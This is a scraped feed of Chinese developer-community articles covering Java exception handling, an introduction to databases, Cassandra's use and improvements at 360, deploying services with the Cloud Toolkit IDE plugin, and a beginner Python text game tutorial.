        }[catch(异常类型 异常对象){
               //异常处理
        }catch(异常类型 异常对象){
               //异常处理
        }catch(异常类型 异常对象){
               //异常处理
        }.....] [finally {
               不管异常是否处理都要执行 ;
        }]

        在此之中可以使用的组合为:try…catch、try…catch…finally、try…finally。
        范例:处理异常

        public class JavaDemo{
            public static void main(String args[]) {
                System.out.println("【1】*****程序开始执行*****") ; 
                try {
                       System.out.println("【2】数学计算:" +(10 / 0)) ;   
                } catch (ArithmeticException e) {
                       System.out.println("【c】处理异常:" + e) ;          //处理异常
                }
                System.out.println("【3】*****程序执行完毕*****") ;    
             }     
        }

        image.png
        图三 执行结果三

        此时可以发现现在即便出现了异常,程序也可以正常执行完毕,所以此时的设计属于一个合理设计。但是有一个问题出现了,此时在进行异常处理的时候直接输出的是一个异常类的对象,那么对于此对象如果直接打印(调用toString())所得到的异常信息并不完整,如果要想获得非常完整的异常信息,则可以使用异常类中提供的printStackTrace()方法完成。
        范例:获取完整异常信息

        public class JavaDemo{
            public static void main(String args[]) {
                System.out.println("【1】*****程序开始执行*****") ; 
                try {
                      System.out.println("【2】数学计算:" +(10 / 0)) ;   
                } catch (ArithmeticException e) {
                      e.printStackTrace() ;
                }
                System.out.println("【3】*****程序执行完毕*****") ;    
            }     
        }

        image.png
        图四 完整异常信息的输出

        对于异常的处理格式也可以在最后追加有一个finally的程序块,表示异常处理后的出口,不管是否出现异常都执行。
        范例:使用finally语句

        public class JavaDemo{
            public static void main(String args[]) {
                System.out.println("【1】*****程序开始执行*****") ; 
                try {
                      System.out.println("【2】数学计算:" +(10 / 0)) ;   
                } catch (ArithmeticException e) {
                      e.printStackTrace() ;
                }finally {
                          System.out.println("【F】不管是否出现异常,我都会执行。") ;
                }
                System.out.println("【3】*****程序执行完毕*****") ;    
            }     
        }

        image.png
        图五 执行结果五

        此时程序中有异常执行finally,没有异常也执行finally。

        想学习更多的Java的课程吗?从小白到大神,从入门到精通,更多精彩不容错过!免费为您提供更多的学习资源。
        本内容视频来源于阿里云大学

        下一篇:强悍的异常处理-处理多个异常 | 带你学《Java面向对象编程》之七十七
        更多Java面向对象编程文章查看此处

        ]]>
        强悍的异常处理-处理多个异常 | 带你学《Java面向对象编程》之七十七-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 上一篇:出错保障局-异常处理机制 | 带你学《Java面向对象编程》之七十六
        【本节目标】
        通过阅读本节内容,你将了解到catch块中捕获指定的异常时具有的风险,并学会使用多个catch捕获多个异常的办法来解决这个问题。

        处理多个异常

        很多时候在程序执行的过程之中可能会产生若干个异常,那么这种情况下也可以使用多个catch进行异常的捕获。假设通过初始化的参数来进行两个数学计算数字的设置。

        public class JavaDemo{
            public static void main(String args[]) {
                System.out.println("【1】*****程序开始执行*****") ; 
                try {
                      int x = Integer.parseInt(args [0]) ;
                      int y = Integer.parseInt(args [1]) ;
                      System.out.println("【2】数学计算:" +(x / y)) ;   
                } catch (ArithmeticException e) {
                      e.printStackTrace() ;
                }finally {
                      System.out.println("【F】不管是否出现异常,我都会执行。") ;
                }
                System.out.println("【3】*****程序执行完毕*****") ;    
           }     
        }

        对于此时的程序就有可能产生三类异常:

        • 【未处理】程序执行的时候没有输入初始化参数(java JavaDemo):
          java.lang.ArrayIndexOutOfBoundsException;

        程序执行结果:

        image.png
        图一 没有输入初始化参数异常

        • 【未处理】输入时的数据不是数字(java JavaDemo a b):
          java.lang.NumberFormatException;

        程序执行结果:

        image.png
        图二 输入的数据不是数字异常

        • 【已处理】输入的被除数为0(java JavaDemo 10 0):
          Java.lang.ArithmeticException;

        程序执行结果:

        image.png
        图三 已处理的被除数为0异常

        现在即便有了异常处理语句,但是如果没有正确的异常捕获,那么程序也会导致中断(finally的代码依然执行),在这样的情况下就必须进行多个异常的捕获。
        范例:修改程序代码

        public class JavaDemo{
            public static void main(String args[]) {
                System.out.println("【1】*****程序开始执行*****") ; 
                try {
                      int x = Integer.parseInt(args [0]) ;
                      int y = Integer.parseInt(args [1]) ;
                      System.out.println("【2】数学计算:" +(x / y)) ;   
                 } catch (ArithmeticException e) {
                      e.printStackTrace() ;
                 }catch (NumberFormatException e) {
                      e.printStackTrace() ;
                 }catch (ArrayIndexOutOfBoundsException e) {
                      e.printStackTrace() ;
                 }finally {
                      System.out.println("【F】不管是否出现异常,我都会执行。") ;
                 }
                 System.out.println("【3】*****程序执行完毕*****") ;    
            }     
        }

        此时开发者都已经明确的知道了有哪些异常了,那么又何必非要用异常处理呢?直接进行判断就可以了。

        想学习更多的Java的课程吗?从小白到大神,从入门到精通,更多精彩不容错过!免费为您提供更多的学习资源。
        本内容视频来源于阿里云大学

        更多Java面向对象编程文章查看此处

        ]]>
        没学好数据库的程序员,真的混不到饭吃么?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 业内有句俗语:

        只会写代码的是码农;学好数据库,基本能混口饭吃;在此基础上再学好操作系统和计算机网络,就能当一个不错的程序员。

        如果能再把离散数学、数字电路、体系结构、数据结构/算法、编译原理学通透,再加上丰富的实践经验与领域特定知识,就能算是一个优秀的工程师了。

        这么说其实是有一些道理的,因为计算说穿了就是两个东西:数据与算法。

        目前市面上常见的软件应用,大部分都属于数据密集型应用。通俗的话来讲,就是这些应用干的事儿就是把数据收集起来,需要的时候再拿出来。而这些操作都需要数据库来进行承载。

        所以说,数据库离我们很近,也是一项开发者们非常需要掌握的技能。

        本期内容重点:

        • 数据库解析
        • 数据库发展史
        • 对开发者的建议

        01、啥是数据库?

        640-68.jpeg

        名词解析:数据库

        数据库,简而言之可视为电子化的文件柜 —— 存储电子文件的处所,用户可以对文件中的数据运行新增、截取、更新、删除等操作。所谓“数据库”系以一定方式储存在一起、能与多个用户共享、具有尽可能小的冗余度、与应用程序彼此独立的数据集合。
        数据库技术产生于 20 世纪 60 年代末 70 年代初,设置的主要目的是有效地管理和存取大量的数据资源。

        数据库其实就是存放数据的仓库。它的存储空间很大,可以存放百万条、千万条、上亿条数据。但是数据库并不是随意地将数据进行存放,是有一定的规则的,否则查询的效率会很低。
        随着互联网的发展,当今世界是一个充斥着大量数据的世界。数据的来源有很多,比如出行记录、消费记录、浏览的网页、发送的消息等等。除了文本类型的数据,图像、音乐、声音都是数据。

        数年来,数据库技术和计算机网络技术的发展相互渗透,相互促进,已成为当今计算机领域发展迅速,应用广泛的两大领域。数据库技术不仅应用于事务处理,并且进一步应用到情报检索、人工智能、专家系统、计算机辅助设计等领域。

        数据库的概念实际包括两层意思:

        数据库是一个实体,它是能够合理保管数据的“仓库”,用户在该“仓库”中存放要管理的事务数据,“数据”和“库”两个概念结合成为数据库。

        数据库是数据管理的新方法和技术,它能更合适的组织数据、更方便的维护数据、更严密的控制数据和更有效的利用数据。

        数据库技术研究和管理的对象是数据,所以数据库技术所涉及的具体内容主要包括:

        通过对数据的统一组织和管理,按照指定的结构建立相应的数据库和数据仓库;

        利用数据库管理系统和数据挖掘系统设计出能够实现对数据库中的数据进行添加、修改、删除、处理、分析、理解、报表和打印等多种功能的数据管理和数据挖掘应用系统;

        利用应用管理系统最终实现对数据的处理、分析和理解。

        按照层级架构,数据库的架构一般可以划分为三层:

        • 内层:最接近实际存储体,亦即有关数据的实际存储方式;
        • 外层:最接近用户,即有关个别用户观看数据的方式;
        • 概念层:介于两者之间的间接层。

        从其应用方式来看,数据库技术主要起着两方面的作用:

        信息系统开发作用:利用数据库技术以及互联网技术,结合具体的编程语言,可以开发一个信息系统,从而解决业务数据的输入和管理问题.

        数据分析与展示作用:利用RDBMS的数据查询功能对数据库中的数据进行关联组合或逐级汇总分析,并以表格,图形或报表形式将分析结果进行展示,从而解决业务数据的综合利用问题。

        02、数据库发展阶段

        640-69.jpeg

        从原理来看,不难知道数据库技术的核心和基础就是「数据模型」。所以业内回顾数据库的发展阶段时,一般也是根据数据模型的演进作为相关的时间节点。
        在数据库的发展历史上,数据库先后经历了层次数据库、网状数据库和关系数据库等各个阶段的发展。在这短短几十年的发展过程中,数据库的发展一般划分为下面这三代:

        • 第一代:网状和层次数据库系统;
        • 第二代:是关系数据库系统;
        • 第三代:以面向对象数据模型为主要特征的数据库系统。

        ]]> Cassandra 在 360 的实践与改进-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 供宽表数据库选型参考

        11月16日在北京,由DataFun和阿里云联合举办的首场Cassandra中文社区线下meetup,奇虎360王锋老师分享了在360的应用,针对HBase和C的选型,C的优缺点及改进方案做了分享,最多时达一万四千节点,值得细细品读。

        以下文章来源于DataFunTalk ,作者王锋

        导读:2010年,Dropbox 在线云存储在国外被用户熟知,同时国内如360、金山、百度等各个厂商也都陆续推出了自家的网盘类产品;而在 "360云盘" 背后的存储技术支撑之一就是以 Cassandra 为基础的云端存储方案。自此,Cassandra 在360实现技术落地和大规模生产应用,并被持续改进优化,最终形成高峰时期超 10k+ 物理节点的使用规模,成为互联网公司中 Cassandra 生产环境落地规模最大的公司。

        本次分享的主要内容是 Cassandra 在360的落地实践过程中遇到的问题,以及一些重要的改进和优化,主要包括:

        • Cassandra 的特点简介
        • Cassandra 在360的选型
        • Cassandra 在360的应用场景
        • Cassandra 在360的技术演进

        ——Cassandra 的特点简介——

        Cassandra 大致有以下的特点:

        image.png

        Cassandra 完全无中心化设计使得其具备极高的可用性和可平滑的拓展性,并且具有模式灵活,多数据中心,范围查询,列表数据结构,分布式写操作等优势:

        ❶ 由于其架构在中小规模部署时不需要主节点,相较于完全中心化的分布式存储设计具有更优的成本优势,从3台物理机开始一直拓展到几百台物理机,均可完全不停服情况下平滑拓展,整个过程只需要把拓展节点的进程启动加入集群;

        ❷ 模式灵活使得 Cassandra 可以在系统运行时随意添加或移除字段,这是一个很惊人的效率提升,特别是在大型部署上;

        ❸ 多数据中心是指可以调整节点布局来避免某一个数据中心失效,一个备用的数据中心将至少有每条记录的完全复制;

        ❹ 范围查询是指如果你不喜欢全部的键值查询,则可以设置键的范围来查询,对于每个用户的索引,这是非常方便的;

        ❺ 分布式写操作是指有可以在任何地方任何时间集中读或写任何数据,并且不会有任何单点失败。

        除了以上几点,Cassandra 还有如下的优点:

        ❶ 海量数据,随时在线,分布式数据库,性能极优

        ❷ always online,无中心,无单点故障引发抖动

        ❸ 节点对等,配置一致,线性扩展,易于维护

        ❹ cql/sdk 能力,易用性好,开发者 & DBA 快速上手

        ❺ 功能强大,主要有以下几点功能,多 DC 两地三中心,在线更改 schema,丰富数据结构,丰富的索引,监控及工具。

        ——Cassandra 在360的选型——

        image.png

        选型之始,我们总结评估了云存储的技术需求特征和当时可承载大规模数据的分布式 K-V 数据库——Cassandra 和 HBase,最终权衡之后,使用 Cassandra 做为主要在线存储。对于 "网盘/云盘" 类产品,其主要流量特征为 "写多读少",要求服务可靠性和数据安全性极高,基本不可容忍服务中断和数据丢失的情况。具体选型分析如下:

        ❶ Cassandra 相较于 HBase,前者是完全无中心设计,而后者 ( 包括依赖的 HDFS ) 整体来看是强中心化设计,因此 Cassandra 与生俱来不存在关键单点故障影响服务的问题;

        ❷ Cassandra 使用最终一致性策略,而非 HBase 的强一致性策略,配合读写策略的处理,Cassandra 可以在确保数据安全性、可靠性、一致性的前提下,出现节点宕机而不需要恢复时间,集群读写不产生任何停顿,而此场景下,HBase 需要等待 region 重新分配过程,而这个过程大概会有数秒至数分钟的待分配 region 不可读写;

        ❸ 从技术细节上,虽然二者均采用了 LSM 的架构,但 Cassandra 直接操作本地磁盘,而 HBase 需要依赖 HDFS 共享存储,加之上述所说的架构设计差异,同等基础设施性能的 Cassandra 写入性能优于 HBase 近乎一个数量级,读性能基本持平。

        综上所述,Cassandra 可以更好的适用于云盘在线场景。

        ——Cassandra 在360的应用场景——

        image.png

        基于360云盘使用 Cassandra,云盘从15台机器一直到14000+台机器,应用场景主要是个人数据,自己产品中间的图片,内部视频对象等;在2015年,360云盘转型为企业云盘,机器数量就下降了,到2018年,智汇云又继续前行,目前机器差不多是3000左右的规模,以上是360的应用场景。

        ——Cassandra 在360的技术演进——

        image.png

        Cassandra 自2010在360开始调研技术落地;2011年使用 Cassandra 0.7.3作为基础版本应用于生产环境;2012年完善数据可靠性和安全性,实现不停机和不单纯依赖读修复的数据快速恢复;2013-2014年以节省成本为目的,实现可擦除编码技术应用于 Cassandra,在确保数据安全和可靠性的前提下实现成本降低60%;2014-2015年面对超大规模集群的超复杂性问题,实现运维自动化,集群具备自主自愈、自主风控等自主运维能力 ( 近 1w5 物理节点,89个集群,两人运维 );2018年,我们发现 Cassandra 社区版本与360版本相当于是不同场景殊途同归 ( 社区为轻 Value,360为重 Value ),并且社区很多好的思路非常值得考虑,因此我们重新调整研发策略,与社区共同成长。

        image.png

        Cassandra 是一种无中心的系统,对于消息的广播,有一些规模的限制,基本单节点到600台的时候就差不多了,当时云盘的集群规模,单集群是600台,Cassandra 集群规模达到了88个,磁盘使用率达到了90%,主要是为了成本考虑,把磁盘使用率达到了90%。这其中用的是预先划分 range,毕竟当时没有 VNode,使用预先划分首先是使用 RandomPartitioner,使用例如 hash,md5 让数据随机打到环上,这个是使用最多的;还有一种是 OrdePerservingPartitinoer,这是一种保序的方式,把一些 key 保序的存在环上,文件 I/O 使用的 standard 跟 Mmapped,Mmapped 理论上是减少内存拷贝,对性能很好,但是如果数据量涨到80%到90%的时候,Linux 内核页表的开销占用量很大,所以最后放弃了 Mmapped 的方式,使用了 standard 的方式。

        image.png

        对于 Cassandra 的改进,第一个就是进行可靠性的改进,使用 Local Repair 跟 Backup。影响数据可靠性的因素有:

        ❶ One/Quorum 存在新增副本不足的问题;

        ❷ 磁盘/扇区故障:文件损坏、数据丢失 ( 月均故障25-30块 );

        ❸ 现有数据恢复机制存在不完善之处。

        因素 ❶ 是第三副本是否可以成功写入的问题,使用非 ALL 策略写入 Cassandra 时,只要满足写入策略即返回成功,例如 quorum 级别写入3副本数据,当两个节点写入成功即返回写入成功,虽然原始设计为了保障第三副本写入成功使用 hintedhandoff 机制来保证,但程序设计最多能支撑3小时的时间,虽然该项可配但也受限于接入节点的存储容量,因此360针对此问题做了优化,研发 proxycheck 功能将未成功写入打散到全集群,当故障节点恢复时,基于 proxycheck 会修复残缺副本;

        因素 ❷ 是磁盘故障,虽然小规模磁盘很少见磁盘损坏,但对于极大规模的存储系统来说,磁盘故障就变得不可忽略了,而 Cassandra 的架构又决定了如果磁盘损坏造成了副本残缺很难发现,只能等待读修复触发或者 repair 工具修复,但对长时间不读取的冷数据很显然存在较大数据风险;

        因素 ❸ 是修复机制,无论是因素 ❷ 导致的还是其他问题造成的数据残缺都需要恢复机制尽快恢复数据,但 Cassandra 读修复对冷数据不友好,repair 工具会耗尽整个集群的资源,对于这些挑战,除了读修复,我们实现了一套相当于 RowRepair 的机制。

        image.png

        首先来说一下文件/磁盘的自动摘除, 存在的问题主要有两点,一点是读写异常,SEEKIOException 影响正常读写,另外一点是各种修复机制,Compact 机制执行失效,针对以上的两点问题,主要采用了基于文件异常访问次数的统计,摘除故障文件数据比重,外部发现基于 SmartCtl 规则反馈,将以上的问题反馈到系统中,就可以精确的知道哪块磁盘有哪些问题。

        image.png

        修复磁盘故障摘除,此处针对的是全量数据的磁盘故障摘除,使用全盘数据扫描恢复的目的主要有两点,一是用来解决全量文件,因磁盘故障/文件损坏等原因带来的副本不足的情况,二是文件/目录/磁盘摘除,触发后台主动副本修复。全盘数据扫描修复,从 Range 的开始,三个节点都读数据,如果数据存在冲突,就使用另外两个节点去解决数据冲突,最后把数据恢复。每个节点都会附一个 range,range 的主要作用就是从三个节点上把数据取过来进行比对,然后把解决冲突的数据恢复掉,另外一种方式使用 KeyScan+Read-All,使用 KeyScan 拿到的是一些 key,对于大量的插入,像云盘用户是大量的插入比较多,删除的操作很少,这种场景下数据存储使用的是 key-value 的数据格式存储,这种情况下,如果节点上丢掉了哪些数据,可以直接使用 key 来修复这些丢掉的数据。通过这两种方式可以解决文件丢失或者损坏的问题。

        image.png

        解决了全量数据,接着解决增量数据的检查修复问题。增量数据检查修复主要存在以下三个问题:

        ❶ 如何保证新写入的数据副本是足够的 ( 拒绝/超时 )

        ❷ 如何弥补 Hinted handoff 的缺点 ( 时间窗口 )

        ❸ Quorum 写存在 W

        针对以上问题,Hinted handoff 对于 i/o 负载或者 i/o 假死没有考虑到,这种情况下,Hintedhandoff 没有去把出问题的东西记下来,时间窗口存在的问题是如果超时了,丢失的数据可能就记录不下来,所以需要把这两种情况记录下来,以便更好的解决增量数据存在的问题。其原理是:如果提供两种方式,第一种如果 proxycheck 把 value 记录进来以后,数据有问题,可以直接使用另外的副本进行数据修复,还有一种如果不记录的话,可以使用 all 级别读修复来对数据进行恢复。使用 Proxy 节点负责记录副本不全的 row,超时拒绝导致的三个副本可能只写成功了两个,这种情况也需要记录下来,这种情况下,实时的去做数据的恢复或者副本的补全,使用 proxycheck 表来存储辅助的 Keyspace,把所有检测到的副本不足的数据都记录到这张表中,Proxy 节点还用于记录数据的修复,把数据存储,proxycheck 用了两副本,这样做会加大系统的开销,但是数据的可靠性得到保证。

        image.png

        数据的恢复,涉及到存储,同时,还需要用到数据的备份。当时没有所谓的多 DC 方式,都是自研的备份系统,当时 Cassandra 的集群数量有88个,如果采用 Cassandra+Cassandra 的主备模式,那将又是88个集群,这是对运维和成本的巨大挑战;因此我们选择了在极大规模场景下扩展更好的 HBase 作为备份存储,使用 Cassandra ( 主 ) +HBase ( 备 ) 方案,这样全球88个集群数据备份集中至四大备份中心。大量的数据备份,经常使用的方式就是消息队列,数据的汇聚会增加运维的成本以及数据的落地然后再去做,这样操作的话,延时会比较高。所以在 Cassandra 中做了一个机制,每个节点负责自己的 range 管理,可以记录到自己的缓存表中,从缓冲表取出来备份到数据中心,使用 Thirft 接口,HBase 跟 Cassandra 的接口完全是兼容的,这样设计 HBase 备份中心就相当于一个 Cassandra 的数据中心了,如果数据大量丢失,或者数据出现大量的错误问题,可以直接无缝切换到 HBase 上提供服务,然后再使用 HBase 备份的数据慢慢恢复丢失的数据,用户完全不会感觉到服务异常,提高了用户的体验。

        image.png

        前面介绍的是数据方面的问题,下面介绍下如何提高磁盘的利用率也就是降低成本。主要是利用虚拟目录来提高磁盘的利用率,磁盘的利用率提高主要问题存在两点:

        ❶ 节点数量大,SSTable 文件多,磁盘空间导致无法做 major 消重;

        ❷ SSTable 文件数多,Scan 操作导致 CPU 消耗严重。

        对于这两个问题,当时磁盘的利用率达到50%就无法再提高利用率,继而我们采用了分而治之的思想,把一个大 range 使用 Daily—Compact 完成数据 SubRange,切分为几个小 range,每个 range 代表一个目录,由于切分以后,数据量变小,每个 range 都可以做自己的 major,可以把重复的部分都清除掉 ( 但是如果在磁盘利用率90%以上,做一次 major 就很消耗 CPU 性能 ) ,这样做以后,对于 Scan 请求定位 SSTable 打开的文件会更少,效率就会更高,速度也会更快。

        image.png

        避免写放大的问题。对于如何减少写放大问题,主要存在以下两个问题:

        ❶ 原有的 Compaction 机制 ( SizeTiered/Leveled ) 较难避免数据重复参与 Compaction 的问题;

        ❷ 尤其在 SizeTiered 按文件大小分组 Compaction,插入删除频繁的业务难以消重。

        针对上述问题,我们采用给 SSTable 增加 level 概念。正常的是给每层的数据从 level 0 -> level 2,到 level 2 后,compaction 就不会参加,也就说最多做两次。360对于这一块做了如下的改进:让每层的 compaction 结合虚拟目录,在 level 0 做 compaction 的时候,分成各种各样的虚拟目录进行 subrange,subrange 里边再去做 compaction,这样的话,就相当于虚拟目录没有重复的数据出现,控制文件参与 compaction 的次数,通过这两种方式,使磁盘的利用率达到了90%左右。

        image.png

        成本压力。基于成本的考量,使用了 EC 的方式,让3副本变成了1.4个副本,在较少副本数量的同时保证数据的可靠性,同时从数据可用性上考虑的话,数据可用性基本保持以下两点就可以:

        ❶ 副本方式,也就是连续3节点磁盘故障,数据必丢失;

        ❷ 条带方式,相邻的14节点故障任意4个数据仍可修复。

        对于这个内容,EC 是把原有的数据进行块切分,算出校验块,然后校验块打散到整个集群中,如果丢失了几个块,可以用其他的10个块进行修复,再把分散的块 key 存储到 cfindex 的表中。对于前边的条带方式,主要使用切分 value,value 采用的是 512k 切成等份的4等份,可以得到4个校验块,需要全部打散到不同的数据块上,比如下图中的 k13,k14 不能放到一台机器上,这样才有意义,一旦数据丢失了,还可以方便恢复,如果四个块在一台机器上,坏了两台机器就没法恢复了,key 的数据有两部分,一个是元数据,一个是条带数据。元数据还是保持多副本的形式,但是算出来的条带数据实际上是按环分布,分成单副本的方式去存储,这样其实就可以达到三副本到1.4副本,编码可以在线调整,还可以使用指令集加速,通过指令集对 EC 进行加速,这块比较难的问题是如何把 Key 值分散在整个环上,而且还在不同的机器上,如果使用 Md5 算出来 value 值当作 key 值,还是有可能 Key 值存储在一台机器上,所以还是采用了 OrderPreservingPartitioner 保序的方式去存储。

        image.png

        接着做了一个 Keyspace 级别的 Patition 策略,以前的 key 存在以下问题:

        ❶ RandomPartition 可以解决大部分 Key 随机分布的问题;
        ❷ key 存储有序问题,OrderPreservingPartitioner;
        ❸ 是条带数据散布的需要,Keyspace 级别的 Partitioner 设定。
        前面说 key 存储用到了 OrderPreservingPartitioner,这样在一套系统里需要两套不同的 partition 机制,如果进行数据交互,就需要既要保持 RandomPartition 的结构,还要保持 OrderPreservingPartitioner 的结构。这样的话,数据交换会变的异常的复杂,所以做了一个消息传递,过程中还是使用 LongToken 去存,在使用时,还是需要维护两套,当撤出或者加入环中时,都要进行转化,所以系统会看到两套内容。

        image.png

        其他的改进点如下:

        ❶ Hinted handoff :外部工具,解决宕机时间过长,超过 Hinted 时间窗口;

        ❷ MemTable Flush 选盘策略:避免并发 dump MemTable 带来的 CPU 开销,避免小文件的产生;

        ❸ Cassandra 集群管控,配置自动加载,磁盘自动下线报修。

        ]]>
        开发者说:如何使用插件降低上传文件部署服务的复杂度-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 lADPDgQ9rZ20n0PNAh3NBLc_1207_541.jpg_620x10000q90g.jpg

        “ 这里描述我们实际服务部署的时候频繁发生的两个常用场景。

        第一个场景,我们“办公网环境”想要在“准生产环境”下部署,需要做如下工作:
        打包、将文件上传到堡垒机上、scp将上传好的包裹传输到“准生产环境”的目标机器、ssh 目标机器、restart重启服务。

        第二个场景是,我们可能随时的给“准生产环境”临时上传一些文件,但是仍然需要大量频繁操作。

        直到前段时间我看了朋友圈一篇“阿里程序员推荐的15 款常用开发者工具”里面提到 Cloud Toolkit 这个工具,试过后觉得它太好用了,完美降低服务部署的复杂度。

        只需要安装相应的插件,配置好所需环境,点击下绿色的箭头,即可帮你打包部署运行到相应环境。

        所以迫不及待的写了这篇文章,希望能对你有所帮助
        (第一次写文,请多关照(^_^))”

        安装Cloud Toolkit插件

        lADPDgQ9rZ20n0XNAsTNBHw_1148_708.jpg_620x10000q90g.jpg

        安装成功后,会在这两个地方,看到安装的插件

        lADPDgQ9rZ20n0fNAvTNBNo_1242_756.jpg_620x10000q90g.jpg

        这是一个 Spring Cloud 项目,用的是 jar 包部署。

        那么插件的准备工作就已经做好了,笔者将用其中的 auth 项目来演示下一键部署的威力

        一键服务部署

        添加堡垒机和目标机器

        目标是使这样的服务环境可以一键部署

        lADPDgQ9rZ20n0vNAVzNAiQ_548_348.jpg_620x10000q90g.jpg

        接下来就是在idea里面操作

        lADPDgQ9rZ20n087zQGA_384_59.jpg_620x10000q90g.jpg

        在选择 Alibaba Cloud Toolkit -> host 单击 add host ,弹出以下界面,我们先来配置堡垒机相关的信息

        lALPDgQ9rZ20n1LNAfvNAuQ_740_507.png_620x10000q90g.jpg

        记得测试下连接,点击 add ,然后配置目标机器的信息
        lALPDgQ9rZ20n1TNAfvNAuQ_740_507.png_620x10000q90g.jpg

        记得选择第二个选项卡 ,配置下堡垒机

        lALPDgQ9rZ20n1XNAfvNAuQ_740_507.png_620x10000q90g.jpg

        然后发现他是通的,就说明这个目标机器配置成功了

        不过在部署前,我想看下现在 auth 配置情况
        lADPDgQ9rZ20n5DNATnNBR4_1310_313.jpg_620x10000q90g.jpg

        单击这个红框框,你会发现居然直接就登陆目标机器啦
        lALPDgQ9rZ20n2nNAW_NA4I_898_367.png_620x10000q90g.jpg

        现在开始准备配置部署策略啦,只要如图操作就好

        lADPDgQ9rZ20n2rMkM0CQg_578_144.jpg_620x10000q90g.jpg
        lALPDgQ9rZ20n2vNAoTNAjo_570_644.png_620x10000q90g.jpg

        很显然我的 auth 需要部署到 222 机器上,然后他是一个 maven 项目,我希望它打包之后部署到目标机器的 /usr/local/oomp 下。

        Spring Cloud 部署需要两个 maven goal

        lADPDgQ9rZ20n27NAWbNAio_554_358.jpg_620x10000q90g.jpg
        lADPDgQ9rZ20n3DMlM0C9A_756_148.jpg_620x10000q90g.jpg
        lADPDgQ9rZ20n3PMlM0C9A_756_148.jpg_620x10000q90g.jpg

        我需要过滤掉测试过程,这个具体看实际需要

        lALPDgQ9rZ20n3TNAjjNAjo_570_568.png_620x10000q90g.jpg

        切换到 Advanced ,这里面可以配置打包上传后,在目标机器将做什么样的操作,例如 我需要重启(你可以先给文件改名)然后看下日志

        我勾选了 automatic open after deploy ,点击 apply->run 之后你什么都不用做了,大功告成!!!

        欣赏下两个图片

        lADPDgQ9rZ20n3bNASfNAxQ_788_295.jpg_620x10000q90g.jpg

        lADPDgQ9rZ20n3fNAR3NBQQ_1284_285.jpg_620x10000q90g.jpg

        这都是 Cloud Toolkit 做的,以后要是部署这台机器的 auth 服务 ,只需点击绿色箭头。

        lADPDgQ9rZ20n49FzOo_234_69.jpg_620x10000q90g.jpg

        大功告成,就是图片多了点,其实超简单的!!!

        文件上传,命令界面

        lALPDgQ9rZ20n5HNAeTNAuQ_740_484.png_620x10000q90g.jpg
        lADPDgQ9rZ20n5LNARTNAlY_598_276.jpg_620x10000q90g.jpg

        文件上传也是超简单的,可以直接点击 upload ,选择需要上传的路径,指定上传位置即可。

        同样 ,它用作命令交互也是超级便利的,单击 terminal

        最后 ,感谢阿里巴巴中间件,搞了一个这么好用的插件。

        官方链接地址,点击这里

        ]]>
        用Python开发你的第一个小游戏 | Python从入门到精通:入门篇之二十三-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 第二十二节:游戏的运行逻辑分析
        一、游戏角色建立
        1、显示欢迎信息

        print('*'*20,"欢迎来到游戏!",'*'*20)

        2、显示身份的选择信息

        print("请选择你的角色:")
        print("t1.唐僧")
        print("t2.白骨精")
        #游戏的身份选择
        User_Role=input("请输入1~2:")

        为了显示出来的内容整齐,在身份“唐僧”和“白骨精”前面加了一个制表符“t”,显示一个格式的缩进。
        用input()函数获取用户的输入,并存放在变量User_Role中。
        3、根据用户的选择显示不同的提示信息

        if User_Role == '1' :
            #用户选择1
            pass
        elif User_Role == '2' :
            #用户选择2
            pass
        else :
            #用户输入其他
            pass

        获取到用户的输入内容之后,要根据不同的输入内容显示不同的提示信息,就要对获取到的内容分情况讨论。在本游戏中,用户可能输入1、2、其他内容,所以就分了三种情况讨论。
        接下来分析当用户选择1的时候:

        print("你将以->唐僧<-的身份进行游戏")

        看一下执行结果:
        image.png
        为了区分身份和上述的欢迎信息,打印一条分隔符:

        print('-'*55)

        再设置当用户输入2的时候执行的语句,理论上来说应该是选择白骨精的身份,但是本系统中白骨精是反派boss,所以还是匹配唐僧的身份。
        当用户输入其他的内容的时候,提示信息:输入错误,并为用户分配唐僧的游戏身份。
        程序如下:

        #打印一行分割符
        print('-'*55)
        if User_Role == '1' :
            #选择1
            print("你已经选择了1,你将以->唐僧<-的身份进行游戏")
        elif User_Role == '2' :
            #选择2
            print("你居然选择白骨精,太不要脸了,系统将为你匹配->唐僧<-的身份进行游戏")
        else :
            # 输入其他
            print("你的输入错误!系统将为您自动分配身份,你将以->唐僧<-的身份进行游戏")

        这就完成了游戏的第一步:角色的建立,接下来就是设置进入游戏之后的页面和功能操作了。
        二、游戏的进行
        1、显示玩家的基本信息(攻击力 生命值)
        创建变量保存玩家的攻击力和生命值:

        User_life = 2 #生命值
        User_attack = 2 # 攻击力

        创建变量保存Boss的信息:

        Boss_life = 10 #boss的生命值
        Boss_attack = 10 #boss 的攻击力

        将玩家的信息在创建角色的时候显示给用户,但是Boss的就不必了,中间打印一行分割符:

        #打印一行分割符
        print('-'*55)
        #显示玩家信息
        print(f'你的生命值为 {User_life},你的攻击力为 {User_attack}')

        此时执行一下程序,可以看到:
        image.png
        2、玩家的操作项(练级、打boss、逃跑)
        首先打印玩家可进行的操作,并获取玩家的选择。

        print("请选择你要进行的操作")
        print("t1.练级")
        print("t2.打boss")
        print("t3.逃跑")
        User_option=input("请选择要做的操作,输入1~3:")

        执行结果为:
        image.png
        此时若是这么处理用户的选择的话,就会导致用户只可以做一次选择,只可以进行一次操作,练级也只能是加一次,显然这是不友好的,也是不符合常理的。
        我们想让用户可以一直进行操作的选择,那么就要将操作的语句以及对操作的处理放到循环体里面。
        这个时候又产生一个问题了,循环几次结束程序呢?
        这里答案是,等待用户结束,所以要写成一个死循环,但是可以用break来结束整个循环。
        所以将接下来的操作放入一个循环体里面:

        while True :

        现在就可以来处理用户的选择了,当用户选择1的时候,进行练级,可设置每次练级提升的攻击力和生命值,假设为2,程序如下:

            if User_option == '1' :
                #练级,增加玩家的生命值和攻击力
                User_life += 2
                User_attack += 2
                print(f'恭喜你升级了! 你的生命值为:{User_life},你的攻击力为:{User_attack}')

        执行结果为:
        image.png
        这就完成了想要的循环结果,以及持续的练级。
        接下来设置当用户选择打boss的时候的处理方式:
        玩家攻击boss,此时要根据玩家的攻击力来判断boss是否还有生命值,如果有则反击,如果没有则玩家胜利,游戏结束。

            elif User_option == '2' :
                #玩家攻击boss,boss掉血,boss掉的生命值为玩家的攻击力
                Boss_life -= User_attack
        
                # 打印一行分割符
                print('-' * 55)
                print("->唐僧-<攻击了->白骨精<-")
